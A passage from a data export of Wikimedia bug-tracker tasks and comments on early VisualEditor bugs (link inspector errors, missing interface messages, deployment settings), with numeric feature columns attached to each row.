**Version**: unspecified
**Severity**: normal"
203460,VisualEditor: Suggestion tool fails to close when escaping out of context menu.,Add to deployment milestone.,,,1357594470,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ton3dd6uf2z3sfe3n2k3,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Add to deployment milestone.
203454,VisualEditor: Suggestion tool fails to close when escaping out of context menu.,%%%*** Bug 43055 has been marked as a duplicate of this bug. ***%%%,,,1355425528,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-ton3dd6uf2z3sfe3n2k3,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 43055 has been marked as a duplicate of this bug. ***%%%
203450,VisualEditor: Suggestion tool fails to close when escaping out of context menu.,"Escape was normally handled by calling onInput, until yesterday I simplified the close logic.  This slipped through the cracks pre-release.

Patched in https://gerrit.wikimedia.org/r/38468",,,1355360183,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-ton3dd6uf2z3sfe3n2k3,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,17.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.7,0.9333333333333333,"Escape was normally handled by calling onInput, until yesterday I simplified the close logic.  This slipped through the cracks pre-release.

Patched in GERRIT_URL"
45036,"VisualEditor: For initial deployment, do not over-ride edit-section links","Right now, VE grabs a hold of the edit-section links. However, for current deployment this should not be the case - they should remain pointing to the wikitext editor.

--------------------------
**Version**: unspecified
**Severity**: minor",Needs Triage,90.0,1355344680,1355829010.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-gax37c3j4qvaskyhk55t,task_description,resolved,True,c1,1,True,False,True,-29,,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9622641509433962,0.7169811320754716,"Right now, VE grabs a hold of the edit-section links. However, for current deployment this should not be the case - they should remain pointing to the wikitext editor.

--------------------------
**Version**: unspecified
**Severity**: minor"
202693,"VisualEditor: For initial deployment, do not over-ride edit-section links",This appears to have missed the deploy-train; moving.,,,1357578100,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gax37c3j4qvaskyhk55t,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.8333333333333335,1.0,This appears to have missed the deploy-train; moving.
202689,"VisualEditor: For initial deployment, do not over-ride edit-section links",Now merged into master.,,,1355829010,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gax37c3j4qvaskyhk55t,task_subcomment,,True,c1,1,True,,,-28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Now merged into master.
202684,"VisualEditor: For initial deployment, do not over-ride edit-section links",Fixed by https://gerrit.wikimedia.org/r/#/c/38451/,,,1355804868,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-gax37c3j4qvaskyhk55t,task_subcomment,,True,c1,1,True,,,-28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed by URL
45033,VisualEditor: Undo just after load of the editor causes JS error.,"Open the editor, Hit Control/Command U.
Throws Exception:
Uncaught TypeError: Cannot read property 'start' of null

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1355342280,1355360967.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-uqidpcw3y4xgb5ynjwev,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,27.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9318181818181817,0.6818181818181818,"Open the editor, Hit Control/Command U.
Throws Exception:
Uncaught TypeError: Cannot read property 'start' of null

--------------------------
**Version**: unspecified
**Severity**: normal"
202552,VisualEditor: Undo just after load of the editor causes JS error.,"Also happens for redo.
Patched in: https://gerrit.wikimedia.org/r/#/c/38349/",,,1355342889,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-uqidpcw3y4xgb5ynjwev,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,1.0,"Also happens for redo.
Patched in: URL"
44983,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,"Seen on the VE-editing interface of https://www.mediawiki.org/wiki/VisualEditor:Test

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1355292540,1355341256.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-3ytipv46bzm44jpqmwoq,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.6666666666666666,"Seen on the VE-editing interface of URL

--------------------------
**Version**: unspecified
**Severity**: normal"
199407,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,Add to deployment milestone.,,,1357594496,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ytipv46bzm44jpqmwoq,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Add to deployment milestone.
199404,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,Working for me now after a hard refresh.,,,1355341256,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3ytipv46bzm44jpqmwoq,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,3.6666666666666665,1.0,Working for me now after a hard refresh.
199402,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,"The messages are certainly in the i18n file, it probably just needs a l10n cache rebuild. Doing that now.",,,1355336196,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3ytipv46bzm44jpqmwoq,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.9545454545454546,0.9545454545454546,"The messages are certainly in the i18n file, it probably just needs a l10n cache rebuild. Doing that now."
199398,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,"visualeditor-savedialog-title-review is in the i18n file the others aren't..

visualeditor-toolbar-savedialog is also showing as missing...



Certainly, for starters, having all the messages actually defined, and also ""exported"" to JS where necessary would be useful",,,1355331834,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-3ytipv46bzm44jpqmwoq,task_subcomment,,True,c1,1,False,,,-29,,2.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,4.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,4.37037037037037,0.7592592592592593,"visualeditor-savedialog-title-review is in the i18n file the others aren't..

visualeditor-toolbar-savedialog is also showing as missing...



Certainly, for starters, having all the messages actually defined, and also ""exported"" to JS where necessary would be useful"
199391,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,"Confirming that this is a bug on mediawiki.org. I was about to file a bug and include a screenshot, but I think this should be pretty easy to spot in the interface on mediawiki.org.

This may not be a VisualEditor bug, per se. It could be an issue with localisation cache.",,,1355327793,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-3ytipv46bzm44jpqmwoq,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,2.0,3.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,14.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,9.0,10.0,2.0,3.0,16.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,5.0,3.8448275862068964,0.7241379310344828,"Confirming that this is a bug on mediawiki.org. I was about to file a bug and include a screenshot, but I think this should be pretty easy to spot in the interface on mediawiki.org.

This may not be a VisualEditor bug, per se. It could be an issue with localisation cache."
199387,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,"Also messages in that dialog, like <visualeditor-savedialog-title-review>, <visualeditor-savedialog-title-review-wrong>, <visualeditor-savedialog-title-review-good> etc",,,1355297902,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-3ytipv46bzm44jpqmwoq,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.8780487804878048,0.4146341463414634,"Also messages in that dialog, like <visualeditor-savedialog-title-review>, <visualeditor-savedialog-title-review-wrong>, <visualeditor-savedialog-title-review-good> etc"
44935,"VisualEditor: While using link inspector, transaction hangs and page eventually explodes.","Reproduce by create a new article with VisualEditor.

Return down about 10 lines.
Type some text, hit command+k (open link inspector)
Select an item in the dropdown. Hit enter.

Page may freeze but will eventually produce this stack error:

Uncaught TypeError: Cannot read property 'type' of undefined ve.dm.Transaction.js:214
ve.dm.Transaction.newFromAnnotation ve.dm.Transaction.js:214
ve.dm.SurfaceFragment.annotateContent ve.dm.SurfaceFragment.js:450
ve.ui.LinkInspector.onClose ve.ui.LinkInspector.js:172
ve.ui.Inspector.close ve.ui.Inspector.js:204
ve.ui.Context.closeInspector ve.ui.Context.js:341
ve.ui.Context.hide ve.ui.Context.js:255
ve.ui.Context.update ve.ui.Context.js:196
ve.ui.Context.onChange ve.ui.Context.js:86
(anonymous function) ve.EventEmitter.js:96
ve.EventEmitter.emit ve.EventEmitter.js:43
ve.dm.Surface.change ve.dm.Surface.js:278
ve.ce.Surface.onSelectionChange ve.ce.Surface.js:293
(anonymous function) ve.EventEmitter.js:96
ve.EventEmitter.emit ve.EventEmitter.js:43
ve.ce.SurfaceObserver.poll ve.ce.SurfaceObserver.js:178
ve.ce.SurfaceObserver.start ve.ce.SurfaceObserver.js:67
ve.ce.Surface.onUnlock ve.ce.Surface.js:313
(anonymous function) ve.EventEmitter.js:96
ve.EventEmitter.emit ve.EventEmitter.js:43
ve.dm.Surface.undo ve.dm.Surface.js:322
ve.HistoryAction.undo ve.HistoryAction.js:43
ve.Surface.execute ve.Surface.js:162
ve.ui.LinkInspector.onClose ve.ui.LinkInspector.js:161
ve.ui.Inspector.close ve.ui.Inspector.js:204
ve.ui.Inspector.onFormSubmit ve.ui.Inspector.js:102
proxy load.php:775
jQuery.event.dispatch load.php:3058
elemData.handle.eventHandle

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1355189160,1355191424.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-ivhyp5yplrphnwughsqu,task_description,resolved,True,c1,1,False,False,True,-29,,0.5,0.0,0.0,0.0,0.5,5.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,10.5,0.0,0.5,2.5,0.0,0.0,0.0,0.0,6.0,0.0,4.5,0.0,0.0,3.0,21.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.27271262886598,0.6211340206185567,"Reproduce by create a new article with VisualEditor.

Return down about 10 lines.
Type some text, hit command+k (open link inspector)
Select an item in the dropdown. Hit enter.

Page may freeze but will eventually produce this stack error:

Uncaught TypeError: Cannot read property 'type' of undefined ve.dm.Transaction.js:214
ve.dm.Transaction.newFromAnnotation ve.dm.Transaction.js:214
ve.dm.SurfaceFragment.annotateContent ve.dm.SurfaceFragment.js:450
ve.ui.LinkInspector.onClose ve.ui.LinkInspector.js:172
ve.ui.Inspector.close ve.ui.Inspector.js:204
ve.ui.Context.closeInspector ve.ui.Context.js:341
ve.ui.Context.hide ve.ui.Context.js:255
ve.ui.Context.update ve.ui.Context.js:196
ve.ui.Context.onChange ve.ui.Context.js:86
(anonymous function) ve.EventEmitter.js:96
ve.EventEmitter.emit ve.EventEmitter.js:43
ve.dm.Surface.change ve.dm.Surface.js:278
ve.ce.Surface.onSelectionChange ve.ce.Surface.js:293
(anonymous function) ve.EventEmitter.js:96
ve.EventEmitter.emit ve.EventEmitter.js:43
ve.ce.SurfaceObserver.poll ve.ce.SurfaceObserver.js:178
ve.ce.SurfaceObserver.start ve.ce.SurfaceObserver.js:67
ve.ce.Surface.onUnlock ve.ce.Surface.js:313
(anonymous function) ve.EventEmitter.js:96
ve.EventEmitter.emit ve.EventEmitter.js:43
ve.dm.Surface.undo ve.dm.Surface.js:322
ve.HistoryAction.undo ve.HistoryAction.js:43
ve.Surface.execute ve.Surface.js:162
ve.ui.LinkInspector.onClose ve.ui.LinkInspector.js:161
ve.ui.Inspector.close ve.ui.Inspector.js:204
ve.ui.Inspector.onFormSubmit ve.ui.Inspector.js:102
proxy load.php:775
jQuery.event.dispatch load.php:3058
elemData.handle.eventHandle

--------------------------
**Version**: unspecified
**Severity**: normal"
196646,"VisualEditor: While using link inspector, transaction hangs and page eventually explodes.",Fixed in https://gerrit.wikimedia.org/r/#/c/38004/,,,1355191424,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-ivhyp5yplrphnwughsqu,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed in URL
44925,VisualEditor: Inspector doesn't open properly,"When you select backwards, the inspector doesn't open when you make something a link (using toolbar or command+k) and when it does open (by clicking the link icon in the context menu) the link suggestions show up in the wrong place.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1355175300,1355189209.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-hydd4sggtsrxlgqhafqc,task_description,resolved,True,c1,0,False,False,True,-29,,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,5.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,6.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,3.0,0.0,0.0,0.0,3.984848484848485,0.6666666666666666,"When you select backwards, the inspector doesn't open when you make something a link (using toolbar or command+k) and when it does open (by clicking the link icon in the context menu) the link suggestions show up in the wrong place.

--------------------------
**Version**: unspecified
**Severity**: major"
196092,VisualEditor: Inspector doesn't open properly,*** Bug 37856 has been marked as a duplicate of this bug. ***,,,1355350453,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hydd4sggtsrxlgqhafqc,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 37856 has been marked as a duplicate of this bug. ***
196086,VisualEditor: Inspector doesn't open properly,Fixed in gerrit 37945.,,,1355176593,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hydd4sggtsrxlgqhafqc,task_subcomment,,True,c1,0,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Fixed in gerrit 37945.
44920,VisualEditor: Re-enable the feedback tool for deployment,"Point to [[Project:VisualEditor/Feedback]] for now.

--------------------------
**Version**: unspecified
